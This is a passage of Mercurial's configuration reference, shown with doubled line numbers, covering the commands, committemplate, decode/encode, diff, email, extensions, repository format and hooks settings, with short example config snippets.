458 458 either using ansi mode (or auto mode), or by using less -r (which will
459 459 pass through all terminal control codes, not just color control
460 460 codes).
461 461
462 462 On some systems (such as MSYS in Windows), the terminal may support
463 463 a different color mode than the pager program.
464 464
465 465 ``commands``
466 466 ------------
467 467
468 468 ``commit.post-status``
469 469 Show status of files in the working directory after successful commit.
470 470 (default: False)
471 471
472 472 ``merge.require-rev``
473 473 Require that the revision to merge the current commit with be specified on
474 474 the command line. If this is enabled and a revision is not specified, the
475 475 command aborts.
476 476 (default: False)
477 477
478 478 ``push.require-revs``
479 479 Require revisions to push be specified using one or more mechanisms such as
480 480 specifying them positionally on the command line, using ``-r``, ``-b``,
481 481 and/or ``-B`` on the command line, or using ``paths.<path>:pushrev`` in the
482 482 configuration. If this is enabled and revisions are not specified, the
483 483 command aborts.
484 484 (default: False)
485 485
486 486 ``resolve.confirm``
487 487 Confirm before performing action if no filename is passed.
488 488 (default: False)
489 489
490 490 ``resolve.explicit-re-merge``
491 491 Require uses of ``hg resolve`` to specify which action it should perform,
492 492 instead of re-merging files by default.
493 493 (default: False)
494 494
495 495 ``resolve.mark-check``
496 496 Determines what level of checking :hg:`resolve --mark` will perform before
497 497 marking files as resolved. Valid values are ``none`, ``warn``, and
498 498 ``abort``. ``warn`` will output a warning listing the file(s) that still
499 499 have conflict markers in them, but will still mark everything resolved.
500 500 ``abort`` will output the same warning but will not mark things as resolved.
501 501 If --all is passed and this is set to ``abort``, only a warning will be
502 502 shown (an error will not be raised).
503 503 (default: ``none``)
504 504
505 505 ``status.relative``
506 506 Make paths in :hg:`status` output relative to the current directory.
507 507 (default: False)
508 508
509 509 ``status.terse``
510 510 Default value for the --terse flag, which condenses status output.
511 511 (default: empty)
512 512
513 513 ``update.check``
514 514 Determines what level of checking :hg:`update` will perform before moving
515 515 to a destination revision. Valid values are ``abort``, ``none``,
516 516 ``linear``, and ``noconflict``.
517 517
518 518 - ``abort`` always fails if the working directory has uncommitted changes.
519 519
520 520 - ``none`` performs no checking, and may result in a merge with uncommitted changes.
521 521
522 522 - ``linear`` allows any update as long as it follows a straight line in the
523 523 revision history, and may trigger a merge with uncommitted changes.
524 524
525 525 - ``noconflict`` will allow any update which would not trigger a merge with
526 526 uncommitted changes, if any are present.
527 527
528 528 (default: ``linear``)
529 529
530 530 ``update.requiredest``
531 531 Require that the user pass a destination when running :hg:`update`.
532 532 For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
533 533 will be disallowed.
534 534 (default: False)
535 535
536 536 ``committemplate``
537 537 ------------------
538 538
539 539 ``changeset``
540 540 String: configuration in this section is used as the template to
541 541 customize the text shown in the editor when committing.
542 542
543 543 In addition to pre-defined template keywords, commit log specific one
544 544 below can be used for customization:
545 545
546 546 ``extramsg``
547 547 String: Extra message (typically 'Leave message empty to abort
548 548 commit.'). This may be changed by some commands or extensions.
549 549
550 550 For example, the template configuration below shows as same text as
551 551 one shown by default::
552 552
553 553 [committemplate]
554 554 changeset = {desc}\n\n
555 555 HG: Enter commit message. Lines beginning with 'HG:' are removed.
556 556 HG: {extramsg}
557 557 HG: --
558 558 HG: user: {author}\n{ifeq(p2rev, "-1", "",
559 559 "HG: branch merge\n")
560 560 }HG: branch '{branch}'\n{if(activebookmark,
561 561 "HG: bookmark '{activebookmark}'\n") }{subrepos %
562 562 "HG: subrepo {subrepo}\n" }{file_adds %
563 563 "HG: added {file}\n" }{file_mods %
564 564 "HG: changed {file}\n" }{file_dels %
565 565 "HG: removed {file}\n" }{if(files, "",
566 566 "HG: no files changed\n")}
567 567
568 568 ``diff()``
569 569 String: show the diff (see :hg:`help templates` for detail)
570 570
571 571 Sometimes it is helpful to show the diff of the changeset in the editor without
572 572 having to prefix 'HG: ' to each line so that highlighting works correctly. For
573 573 this, Mercurial provides a special string which will ignore everything below
574 574 it::
575 575
576 576 HG: ------------------------ >8 ------------------------
577 577
578 578 For example, the template configuration below will show the diff below the
579 579 extra message::
580 580
581 581 [committemplate]
582 582 changeset = {desc}\n\n
583 583 HG: Enter commit message. Lines beginning with 'HG:' are removed.
584 584 HG: {extramsg}
585 585 HG: ------------------------ >8 ------------------------
586 586 HG: Do not touch the line above.
587 587 HG: Everything below will be removed.
588 588 {diff()}
589 589
590 590 .. note::
591 591
592 592 For some problematic encodings (see :hg:`help win32mbcs` for
593 593 detail), this customization should be configured carefully, to
594 594 avoid showing broken characters.
595 595
596 596 For example, if a multibyte character ending with backslash (0x5c) is
597 597 followed by the ASCII character 'n' in the customized template,
598 598 the sequence of backslash and 'n' is treated as line-feed unexpectedly
599 599 (and the multibyte character is broken, too).
600 600
601 601 Customized template is used for commands below (``--edit`` may be
602 602 required):
603 603
604 604 - :hg:`backout`
605 605 - :hg:`commit`
606 606 - :hg:`fetch` (for merge commit only)
607 607 - :hg:`graft`
608 608 - :hg:`histedit`
609 609 - :hg:`import`
610 610 - :hg:`qfold`, :hg:`qnew` and :hg:`qrefresh`
611 611 - :hg:`rebase`
612 612 - :hg:`shelve`
613 613 - :hg:`sign`
614 614 - :hg:`tag`
615 615 - :hg:`transplant`
616 616
617 617 Configuring items below instead of ``changeset`` allows showing
618 618 customized message only for specific actions, or showing different
619 619 messages for each action.
620 620
621 621 - ``changeset.backout`` for :hg:`backout`
622 622 - ``changeset.commit.amend.merge`` for :hg:`commit --amend` on merges
623 623 - ``changeset.commit.amend.normal`` for :hg:`commit --amend` on other
624 624 - ``changeset.commit.normal.merge`` for :hg:`commit` on merges
625 625 - ``changeset.commit.normal.normal`` for :hg:`commit` on other
626 626 - ``changeset.fetch`` for :hg:`fetch` (impling merge commit)
627 627 - ``changeset.gpg.sign`` for :hg:`sign`
628 628 - ``changeset.graft`` for :hg:`graft`
629 629 - ``changeset.histedit.edit`` for ``edit`` of :hg:`histedit`
630 630 - ``changeset.histedit.fold`` for ``fold`` of :hg:`histedit`
631 631 - ``changeset.histedit.mess`` for ``mess`` of :hg:`histedit`
632 632 - ``changeset.histedit.pick`` for ``pick`` of :hg:`histedit`
633 633 - ``changeset.import.bypass`` for :hg:`import --bypass`
634 634 - ``changeset.import.normal.merge`` for :hg:`import` on merges
635 635 - ``changeset.import.normal.normal`` for :hg:`import` on other
636 636 - ``changeset.mq.qnew`` for :hg:`qnew`
637 637 - ``changeset.mq.qfold`` for :hg:`qfold`
638 638 - ``changeset.mq.qrefresh`` for :hg:`qrefresh`
639 639 - ``changeset.rebase.collapse`` for :hg:`rebase --collapse`
640 640 - ``changeset.rebase.merge`` for :hg:`rebase` on merges
641 641 - ``changeset.rebase.normal`` for :hg:`rebase` on other
642 642 - ``changeset.shelve.shelve`` for :hg:`shelve`
643 643 - ``changeset.tag.add`` for :hg:`tag` without ``--remove``
644 644 - ``changeset.tag.remove`` for :hg:`tag --remove`
645 645 - ``changeset.transplant.merge`` for :hg:`transplant` on merges
646 646 - ``changeset.transplant.normal`` for :hg:`transplant` on other
647 647
648 648 These dot-separated lists of names are treated as hierarchical ones.
649 649 For example, ``changeset.tag.remove`` customizes the commit message
650 650 only for :hg:`tag --remove`, but ``changeset.tag`` customizes the
651 651 commit message for :hg:`tag` regardless of ``--remove`` option.
652 652
653 653 When the external editor is invoked for a commit, the corresponding
654 654 dot-separated list of names without the ``changeset.`` prefix
655 655 (e.g. ``commit.normal.normal``) is in the ``HGEDITFORM`` environment
656 656 variable.
657 657
658 658 In this section, items other than ``changeset`` can be referred from
659 659 others. For example, the configuration to list committed files up
660 660 below can be referred as ``{listupfiles}``::
661 661
662 662 [committemplate]
663 663 listupfiles = {file_adds %
664 664 "HG: added {file}\n" }{file_mods %
665 665 "HG: changed {file}\n" }{file_dels %
666 666 "HG: removed {file}\n" }{if(files, "",
667 667 "HG: no files changed\n")}
668 668
669 669 ``decode/encode``
670 670 -----------------
671 671
672 672 Filters for transforming files on checkout/checkin. This would
673 673 typically be used for newline processing or other
674 674 localization/canonicalization of files.
675 675
676 676 Filters consist of a filter pattern followed by a filter command.
677 677 Filter patterns are globs by default, rooted at the repository root.
678 678 For example, to match any file ending in ``.txt`` in the root
679 679 directory only, use the pattern ``*.txt``. To match any file ending
680 680 in ``.c`` anywhere in the repository, use the pattern ``**.c``.
681 681 For each file only the first matching filter applies.
682 682
683 683 The filter command can start with a specifier, either ``pipe:`` or
684 684 ``tempfile:``. If no specifier is given, ``pipe:`` is used by default.
685 685
686 686 A ``pipe:`` command must accept data on stdin and return the transformed
687 687 data on stdout.
688 688
689 689 Pipe example::
690 690
691 691 [encode]
692 692 # uncompress gzip files on checkin to improve delta compression
693 693 # note: not necessarily a good idea, just an example
694 694 *.gz = pipe: gunzip
695 695
696 696 [decode]
697 697 # recompress gzip files when writing them to the working dir (we
698 698 # can safely omit "pipe:", because it's the default)
699 699 *.gz = gzip
700 700
701 701 A ``tempfile:`` command is a template. The string ``INFILE`` is replaced
702 702 with the name of a temporary file that contains the data to be
703 703 filtered by the command. The string ``OUTFILE`` is replaced with the name
704 704 of an empty temporary file, where the filtered data must be written by
705 705 the command.
706 706
707 707 .. container:: windows
708 708
709 709 .. note::
710 710
711 711 The tempfile mechanism is recommended for Windows systems,
712 712 where the standard shell I/O redirection operators often have
713 713 strange effects and may corrupt the contents of your files.
714 714
715 715 This filter mechanism is used internally by the ``eol`` extension to
716 716 translate line ending characters between Windows (CRLF) and Unix (LF)
717 717 format. We suggest you use the ``eol`` extension for convenience.
718 718
719 719
720 720 ``defaults``
721 721 ------------
722 722
723 723 (defaults are deprecated. Don't use them. Use aliases instead.)
724 724
725 725 Use the ``[defaults]`` section to define command defaults, i.e. the
726 726 default options/arguments to pass to the specified commands.
727 727
728 728 The following example makes :hg:`log` run in verbose mode, and
729 729 :hg:`status` show only the modified files, by default::
730 730
731 731 [defaults]
732 732 log = -v
733 733 status = -m
734 734
735 735 The actual commands, instead of their aliases, must be used when
736 736 defining command defaults. The command defaults will also be applied
737 737 to the aliases of the commands defined.
738 738
739 739
740 740 ``diff``
741 741 --------
742 742
743 743 Settings used when displaying diffs. Everything except for ``unified``
744 744 is a Boolean and defaults to False. See :hg:`help config.annotate`
745 745 for related options for the annotate command.
746 746
747 747 ``git``
748 748 Use git extended diff format.
749 749
750 750 ``nobinary``
751 751 Omit git binary patches.
752 752
753 753 ``nodates``
754 754 Don't include dates in diff headers.
755 755
756 756 ``noprefix``
757 757 Omit 'a/' and 'b/' prefixes from filenames. Ignored in plain mode.
758 758
759 759 ``showfunc``
760 760 Show which function each change is in.
761 761
762 762 ``ignorews``
763 763 Ignore white space when comparing lines.
764 764
765 765 ``ignorewsamount``
766 766 Ignore changes in the amount of white space.
767 767
768 768 ``ignoreblanklines``
769 769 Ignore changes whose lines are all blank.
770 770
771 771 ``unified``
772 772 Number of lines of context to show.
773 773
774 774 ``word-diff``
775 775 Highlight changed words.
776 776
777 777 ``email``
778 778 ---------
779 779
780 780 Settings for extensions that send email messages.
781 781
782 782 ``from``
783 783 Optional. Email address to use in "From" header and SMTP envelope
784 784 of outgoing messages.
785 785
786 786 ``to``
787 787 Optional. Comma-separated list of recipients' email addresses.
788 788
789 789 ``cc``
790 790 Optional. Comma-separated list of carbon copy recipients'
791 791 email addresses.
792 792
793 793 ``bcc``
794 794 Optional. Comma-separated list of blind carbon copy recipients'
795 795 email addresses.
796 796
797 797 ``method``
798 798 Optional. Method to use to send email messages. If value is ``smtp``
799 799 (default), use SMTP (see the ``[smtp]`` section for configuration).
800 800 Otherwise, use as name of program to run that acts like sendmail
801 801 (takes ``-f`` option for sender, list of recipients on command line,
802 802 message on stdin). Normally, setting this to ``sendmail`` or
803 803 ``/usr/sbin/sendmail`` is enough to use sendmail to send messages.
804 804
805 805 ``charsets``
806 806 Optional. Comma-separated list of character sets considered
807 807 convenient for recipients. Addresses, headers, and parts not
808 808 containing patches of outgoing messages will be encoded in the
809 809 first character set to which conversion from local encoding
810 810 (``$HGENCODING``, ``ui.fallbackencoding``) succeeds. If correct
811 811 conversion fails, the text in question is sent as is.
812 812 (default: '')
813 813
814 814 Order of outgoing email character sets:
815 815
816 816 1. ``us-ascii``: always first, regardless of settings
817 817 2. ``email.charsets``: in order given by user
818 818 3. ``ui.fallbackencoding``: if not in email.charsets
819 819 4. ``$HGENCODING``: if not in email.charsets
820 820 5. ``utf-8``: always last, regardless of settings
821 821
822 822 Email example::
823 823
824 824 [email]
825 825 from = Joseph User <joe.user@example.com>
826 826 method = /usr/sbin/sendmail
827 827 # charsets for western Europeans
828 828 # us-ascii, utf-8 omitted, as they are tried first and last
829 829 charsets = iso-8859-1, iso-8859-15, windows-1252
830 830
831 831
832 832 ``extensions``
833 833 --------------
834 834
835 835 Mercurial has an extension mechanism for adding new features. To
836 836 enable an extension, create an entry for it in this section.
837 837
838 838 If you know that the extension is already in Python's search path,
839 839 you can give the name of the module, followed by ``=``, with nothing
840 840 after the ``=``.
841 841
842 842 Otherwise, give a name that you choose, followed by ``=``, followed by
843 843 the path to the ``.py`` file (including the file name extension) that
844 844 defines the extension.
845 845
846 846 To explicitly disable an extension that is enabled in an hgrc of
847 847 broader scope, prepend its path with ``!``, as in ``foo = !/ext/path``
848 848 or ``foo = !`` when path is not supplied.
849 849
850 850 Example for ``~/.hgrc``::
851 851
852 852 [extensions]
853 853 # (the churn extension will get loaded from Mercurial's path)
854 854 churn =
855 855 # (this extension will get loaded from the file specified)
856 856 myfeature = ~/.hgext/myfeature.py
857 857
858 858 If an extension fails to load, a warning will be issued, and Mercurial will
859 859 proceed. To enforce that an extension must be loaded, one can set the `required`
860 860 suboption in the config::
861 861
862 862 [extensions]
863 863 myfeature = ~/.hgext/myfeature.py
864 864 myfeature:required = yes
865 865
866 866 To debug extension loading issue, one can add `--traceback` to their mercurial
867 867 invocation.
868 868
869 869 A default setting can we set using the special `*` extension key::
870 870
871 871 [extensions]
872 872 *:required = yes
873 873 myfeature = ~/.hgext/myfeature.py
874 874 rebase=
875 875
876 876
877 877 ``format``
878 878 ----------
879 879
880 880 Configuration that controls the repository format. Newer format options are more
881 881 powerful, but incompatible with some older versions of Mercurial. Format options
882 882 are considered at repository initialization only. You need to make a new clone
883 883 for config changes to be taken into account.
884 884
885 885 For more details about repository format and version compatibility, see
886 886 https://www.mercurial-scm.org/wiki/MissingRequirement
887 887
888 888 ``usegeneraldelta``
889 889 Enable or disable the "generaldelta" repository format which improves
890 890 repository compression by allowing "revlog" to store deltas against
891 891 arbitrary revisions instead of the previously stored one. This provides
892 892 significant improvement for repositories with branches.
893 893
894 894 Repositories with this on-disk format require Mercurial version 1.9.
895 895
896 896 Enabled by default.
897 897
898 898 ``dotencode``
899 899 Enable or disable the "dotencode" repository format which enhances
900 900 the "fncache" repository format (which has to be enabled to use
901 901 dotencode) to avoid issues with filenames starting with "._" on
902 902 Mac OS X and spaces on Windows.
903 903
904 904 Repositories with this on-disk format require Mercurial version 1.7.
905 905
906 906 Enabled by default.
907 907
908 908 ``usefncache``
909 909 Enable or disable the "fncache" repository format which enhances
910 910 the "store" repository format (which has to be enabled to use
911 911 fncache) to allow longer filenames and avoids using Windows
912 912 reserved names, e.g. "nul".
913 913
914 914 Repositories with this on-disk format require Mercurial version 1.1.
915 915
916 916 Enabled by default.
917 917
918 918 ``use-dirstate-v2``
919 919 Enable or disable the experimental "dirstate-v2" feature. The dirstate
920 920 functionality is shared by all commands interacting with the working copy.
921 921 The new version is more robust, faster and stores more information.
922 922
923 923 The performance-improving version of this feature is currently only
924 924 implemented in Rust (see :hg:`help rust`), so people not using a version of
925 925 Mercurial compiled with the Rust parts might actually suffer some slowdown.
926 926 For this reason, such versions will by default refuse to access repositories
927 927 with "dirstate-v2" enabled.
928 928
929 929 This behavior can be adjusted via configuration: check
930 930 :hg:`help config.storage.dirstate-v2.slow-path` for details.
931 931
932 932 Repositories with this on-disk format require Mercurial 6.0 or above.
933 933
934 934 By default this format variant is disabled if the fast implementation is not
935 935 available, and enabled by default if the fast implementation is available.
936 936
937 937 To accomodate installations of Mercurial without the fast implementation,
938 938 you can downgrade your repository. To do so run the following command:
939 939
940 940 $ hg debugupgraderepo \
941 941 --run \
942 942 --config format.use-dirstate-v2=False \
943 943 --config storage.dirstate-v2.slow-path=allow
944 944
945 945 For a more comprehensive guide, see :hg:`help internals.dirstate-v2`.
946 946
947 947 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories``
948 948 When enabled, an automatic upgrade will be triggered when a repository format
949 949 does not match its `use-dirstate-v2` config.
950 950
951 951 This is an advanced behavior that most users will not need. We recommend you
952 952 don't use this unless you are a seasoned administrator of a Mercurial install
953 953 base.
954 954
955 955 Automatic upgrade means that any process accessing the repository will
956 956 upgrade the repository format to use `dirstate-v2`. This only triggers if a
957 957 change is needed. This also applies to operations that would have been
958 958 read-only (like hg status).
959 959
960 960 If the repository cannot be locked, the automatic-upgrade operation will be
961 961 skipped. The next operation will attempt it again.
962 962
963 963 This configuration will apply for moves in any direction, either adding the
964 964 `dirstate-v2` format if `format.use-dirstate-v2=yes` or removing the
965 965 `dirstate-v2` requirement if `format.use-dirstate-v2=no`. So we recommend
966 966 setting both this value and `format.use-dirstate-v2` at the same time.
967 967
968 968 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet``
969 969 Hide message when performing such automatic upgrade.
970 970
971 971 ``use-dirstate-tracked-hint``
972 972 Enable or disable the writing of "tracked key" file alongside the dirstate.
973 973 (default to disabled)
974 974
975 975 That "tracked-hint" can help external automations to detect changes to the
976 976 set of tracked files. (i.e the result of `hg files` or `hg status -macd`)
977 977
978 978 The tracked-hint is written in a new `.hg/dirstate-tracked-hint`. That file
979 979 contains two lines:
980 980 - the first line is the file version (currently: 1),
981 981 - the second line contains the "tracked-hint".
982 982 That file is written right after the dirstate is written.
983 983
984 984 The tracked-hint changes whenever the set of file tracked in the dirstate
985 985 changes. The general idea is:
986 986 - if the hint is identical, the set of tracked file SHOULD be identical,
987 987 - if the hint is different, the set of tracked file MIGHT be different.
988 988
989 989 The "hint is identical" case uses `SHOULD` as the dirstate and the hint file
990 990 are two distinct files and therefore that cannot be read or written to in an
991 991 atomic way. If the key is identical, nothing garantees that the dirstate is
992 992 not updated right after the hint file. This is considered a negligible
993 993 limitation for the intended usecase. It is actually possible to prevent this
994 994 race by taking the repository lock during read operations.
995 995
996 996 They are two "ways" to use this feature:
997 997
998 998 1) monitoring changes to the `.hg/dirstate-tracked-hint`, if the file
999 999 changes, the tracked set might have changed.
1000 1000
1001 1001 2) storing the value and comparing it to a later value.
1002 1002
1003 1003
1004 1004 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories``
1005 1005 When enabled, an automatic upgrade will be triggered when a repository format
1006 1006 does not match its `use-dirstate-tracked-hint` config.
1007 1007
1008 1008 This is an advanced behavior that most users will not need. We recommend you
1009 1009 don't use this unless you are a seasoned administrator of a Mercurial install
1010 1010 base.
1011 1011
1012 1012 Automatic upgrade means that any process accessing the repository will
1013 1013 upgrade the repository format to use `dirstate-tracked-hint`. This only
1014 1014 triggers if a change is needed. This also applies to operations that would
1015 1015 have been read-only (like hg status).
1016 1016
1017 1017 If the repository cannot be locked, the automatic-upgrade operation will be
1018 1018 skipped. The next operation will attempt it again.
1019 1019
1020 1020 This configuration will apply for moves in any direction, either adding the
1021 1021 `dirstate-tracked-hint` format if `format.use-dirstate-tracked-hint=yes` or
1022 1022 removing the `dirstate-tracked-hint` requirement if
1023 1023 `format.use-dirstate-tracked-hint=no`. So we recommend setting both this
1024 1024 value and `format.use-dirstate-tracked-hint` at the same time.
1025 1025
1026 1026
1027 1027 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet``
1028 1028 Hide message when performing such automatic upgrade.
1029 1029
1030 1030
1031 1031 ``use-persistent-nodemap``
1032 1032 Enable or disable the "persistent-nodemap" feature which improves
1033 1033 performance if the Rust extensions are available.
1034 1034
1035 1035 The "persistent-nodemap" persist the "node -> rev" on disk removing the
1036 1036 need to dynamically build that mapping for each Mercurial invocation. This
1037 1037 significantly reduces the startup cost of various local and server-side
1038 1038 operation for larger repositories.
1039 1039
1040 1040 The performance-improving version of this feature is currently only
1041 1041 implemented in Rust (see :hg:`help rust`), so people not using a version of
1042 1042 Mercurial compiled with the Rust parts might actually suffer some slowdown.
1043 1043 For this reason, such versions will by default refuse to access repositories
1044 1044 with "persistent-nodemap".
1045 1045
1046 1046 This behavior can be adjusted via configuration: check
1047 1047 :hg:`help config.storage.revlog.persistent-nodemap.slow-path` for details.
1048 1048
1049 1049 Repositories with this on-disk format require Mercurial 5.4 or above.
1050 1050
1051 1051 By default this format variant is disabled if the fast implementation is not
1052 1052 available, and enabled by default if the fast implementation is available.
1053 1053
1054 1054 To accomodate installations of Mercurial without the fast implementation,
1055 1055 you can downgrade your repository. To do so run the following command:
1056 1056
1057 1057 $ hg debugupgraderepo \
1058 1058 --run \
1059 1059 --config format.use-persistent-nodemap=False \
1060 1060 --config storage.revlog.persistent-nodemap.slow-path=allow
1061 1061
1062 1062 ``use-share-safe``
1063 1063 Enforce "safe" behaviors for all "shares" that access this repository.
1064 1064
1065 1065 With this feature, "shares" using this repository as a source will:
1066 1066
1067 1067 * read the source repository's configuration (`<source>/.hg/hgrc`).
1068 1068 * read and use the source repository's "requirements"
1069 1069 (except the working copy specific one).
1070 1070
1071 1071 Without this feature, "shares" using this repository as a source will:
1072 1072
1073 1073 * keep tracking the repository "requirements" in the share only, ignoring
1074 1074 the source "requirements", possibly diverging from them.
1075 1075 * ignore source repository config. This can create problems, like silently
1076 1076 ignoring important hooks.
1077 1077
1078 1078 Beware that existing shares will not be upgraded/downgraded, and by
1079 1079 default, Mercurial will refuse to interact with them until the mismatch
1080 1080 is resolved. See :hg:`help config.share.safe-mismatch.source-safe` and
1081 1081 :hg:`help config.share.safe-mismatch.source-not-safe` for details.
1082 1082
1083 1083 Introduced in Mercurial 5.7.
1084 1084
1085 1085 Enabled by default in Mercurial 6.1.
1086 1086
1087 1087 ``use-share-safe.automatic-upgrade-of-mismatching-repositories``
1088 1088 When enabled, an automatic upgrade will be triggered when a repository format
1089 1089 does not match its `use-share-safe` config.
1090 1090
1091 1091 This is an advanced behavior that most users will not need. We recommend you
1092 1092 don't use this unless you are a seasoned administrator of a Mercurial install
1093 1093 base.
1094 1094
1095 1095 Automatic upgrade means that any process accessing the repository will
1096 1096 upgrade the repository format to use `share-safe`. This only triggers if a
1097 1097 change is needed. This also applies to operation that would have been
1098 1098 read-only (like hg status).
1099 1099
1100 1100 If the repository cannot be locked, the automatic-upgrade operation will be
1101 1101 skipped. The next operation will attempt it again.
1102 1102
1103 1103 This configuration will apply for moves in any direction, either adding the
1104 1104 `share-safe` format if `format.use-share-safe=yes` or removing the
1105 1105 `share-safe` requirement if `format.use-share-safe=no`. So we recommend
1106 1106 setting both this value and `format.use-share-safe` at the same time.
1107 1107
1108 1108 ``use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet``
1109 1109 Hide message when performing such automatic upgrade.
1110 1110
1111 1111 ``usestore``
1112 1112 Enable or disable the "store" repository format which improves
1113 1113 compatibility with systems that fold case or otherwise mangle
1114 1114 filenames. Disabling this option will allow you to store longer filenames
1115 1115 in some situations at the expense of compatibility.
1116 1116
1117 1117 Repositories with this on-disk format require Mercurial version 0.9.4.
1118 1118
1119 1119 Enabled by default.
1120 1120
1121 1121 ``sparse-revlog``
1122 1122 Enable or disable the ``sparse-revlog`` delta strategy. This format improves
1123 1123 delta re-use inside revlog. For very branchy repositories, it results in a
1124 1124 smaller store. For repositories with many revisions, it also helps
1125 1125 performance (by using shortened delta chains.)
1126 1126
1127 1127 Repositories with this on-disk format require Mercurial version 4.7
1128 1128
1129 1129 Enabled by default.
1130 1130
1131 1131 ``revlog-compression``
1132 1132 Compression algorithm used by revlog. Supported values are `zlib` and
1133 1133 `zstd`. The `zlib` engine is the historical default of Mercurial. `zstd` is
1134 1134 a newer format that is usually a net win over `zlib`, operating faster at
1135 1135 better compression rates. Use `zstd` to reduce CPU usage. Multiple values
1136 1136 can be specified, the first available one will be used.
1137 1137
1138 1138 On some systems, the Mercurial installation may lack `zstd` support.
1139 1139
1140 1140 Default is `zstd` if available, `zlib` otherwise.
1141 1141
1142 1142 ``bookmarks-in-store``
1143 1143 Store bookmarks in .hg/store/. This means that bookmarks are shared when
1144 1144 using `hg share` regardless of the `-B` option.
1145 1145
1146 1146 Repositories with this on-disk format require Mercurial version 5.1.
1147 1147
1148 1148 Disabled by default.
1149 1149
1150 1150
1151 1151 ``graph``
1152 1152 ---------
1153 1153
1154 1154 Web graph view configuration. This section let you change graph
1155 1155 elements display properties by branches, for instance to make the
1156 1156 ``default`` branch stand out.
1157 1157
1158 1158 Each line has the following format::
1159 1159
1160 1160 <branch>.<argument> = <value>
1161 1161
1162 1162 where ``<branch>`` is the name of the branch being
1163 1163 customized. Example::
1164 1164
1165 1165 [graph]
1166 1166 # 2px width
1167 1167 default.width = 2
1168 1168 # red color
1169 1169 default.color = FF0000
1170 1170
1171 1171 Supported arguments:
1172 1172
1173 1173 ``width``
1174 1174 Set branch edges width in pixels.
1175 1175
1176 1176 ``color``
1177 1177 Set branch edges color in hexadecimal RGB notation.
1178 1178
1179 1179 ``hooks``
1180 1180 ---------
1181 1181
1182 1182 Commands or Python functions that get automatically executed by
1183 1183 various actions such as starting or finishing a commit. Multiple
1184 1184 hooks can be run for the same action by appending a suffix to the
1185 1185 action. Overriding a site-wide hook can be done by changing its
1186 1186 value or setting it to an empty string. Hooks can be prioritized
1187 1187 by adding a prefix of ``priority.`` to the hook name on a new line
1188 1188 and setting the priority. The default priority is 0.
1189 1189
1190 1190 Example ``.hg/hgrc``::
1191 1191
1192 1192 [hooks]
1193 1193 # update working directory after adding changesets
1194 1194 changegroup.update = hg update
1195 1195 # do not use the site-wide hook
1196 1196 incoming =
1197 1197 incoming.email = /my/email/hook
1198 1198 incoming.autobuild = /my/build/hook
1199 1199 # force autobuild hook to run before other incoming hooks
1200 1200 priority.incoming.autobuild = 1
1201 1201 ### control HGPLAIN setting when running autobuild hook
1202 1202 # HGPLAIN always set (default from Mercurial 5.7)
1203 1203 incoming.autobuild:run-with-plain = yes
1204 1204 # HGPLAIN never set
1205 1205 incoming.autobuild:run-with-plain = no
1206 1206 # HGPLAIN inherited from environment (default before Mercurial 5.7)
1207 1207 incoming.autobuild:run-with-plain = auto
1208 1208
1209 1209 Most hooks are run with environment variables set that give useful
1210 1210 additional information. For each hook below, the environment variables
1211 1211 it is passed are listed with names in the form ``$HG_foo``. The
1212 1212 ``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.
1213 1213 They contain the type of hook which triggered the run and the full name
1214 1214 of the hook in the config, respectively. In the example above, this will
1215 1215 be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``.
1216 1216
1217 1217 .. container:: windows
1218 1218
1219 1219 Some basic Unix syntax can be enabled for portability, including ``$VAR``
1220 1220 and ``${VAR}`` style variables. A ``~`` followed by ``\`` or ``/`` will
1221 1221 be expanded to ``%USERPROFILE%`` to simulate a subset of tilde expansion
1222 1222 on Unix. To use a literal ``$`` or ``~``, it must be escaped with a back
1223 1223 slash or inside of a strong quote. Strong quotes will be replaced by
1224 1224 double quotes after processing.
1225 1225
1226 1226 This feature is enabled by adding a prefix of ``tonative.`` to the hook
1227 1227 name on a new line, and setting it to ``True``. For example::
1228 1228
1229 1229 [hooks]
1230 1230 incoming.autobuild = /my/build/hook
1231 1231 # enable translation to cmd.exe syntax for autobuild hook
1232 1232 tonative.incoming.autobuild = True
1233 1233
1234 1234 ``changegroup``
1235 1235 Run after a changegroup has been added via push, pull or unbundle. The ID of
1236 1236 the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.
1237 1237 The URL from which changes came is in ``$HG_URL``.
1238 1238
1239 1239 ``commit``
1240 1240 Run after a changeset has been created in the local repository. The ID
1241 1241 of the newly created changeset is in ``$HG_NODE``. Parent changeset
1242 1242 IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1243 1243
1244 1244 ``incoming``
1245 1245 Run after a changeset has been pulled, pushed, or unbundled into
1246 1246 the local repository. The ID of the newly arrived changeset is in
1247 1247 ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``.
1248 1248
1249 1249 ``outgoing``
1250 1250 Run after sending changes from the local repository to another. The ID of
1251 1251 first changeset sent is in ``$HG_NODE``. The source of operation is in
1252 1252 ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`.
1253 1253
1254 1254 ``post-<command>``
1255 1255 Run after successful invocations of the associated command. The
1256 1256 contents of the command line are passed as ``$HG_ARGS`` and the result
1257 1257 code in ``$HG_RESULT``. Parsed command line arguments are passed as
1258 1258 ``$HG_PATS`` and ``$HG_OPTS``. These contain string representations of
1259 1259 the python data internally passed to <command>. ``$HG_OPTS`` is a
1260 1260 dictionary of options (with unspecified options set to their defaults).
1261 1261 ``$HG_PATS`` is a list of arguments. Hook failure is ignored.
1262 1262
1263 1263 ``fail-<command>``
1264 1264 Run after a failed invocation of an associated command. The contents
1265 1265 of the command line are passed as ``$HG_ARGS``. Parsed command line
1266 1266 arguments are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain
1267 1267 string representations of the python data internally passed to
1268 1268 <command>. ``$HG_OPTS`` is a dictionary of options (with unspecified
1269 1269 options set to their defaults). ``$HG_PATS`` is a list of arguments.
1270 1270 Hook failure is ignored.
1271 1271
1272 1272 ``pre-<command>``
1273 1273 Run before executing the associated command. The contents of the
1274 1274 command line are passed as ``$HG_ARGS``. Parsed command line arguments
1275 1275 are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain string
1276 1276 representations of the data internally passed to <command>. ``$HG_OPTS``
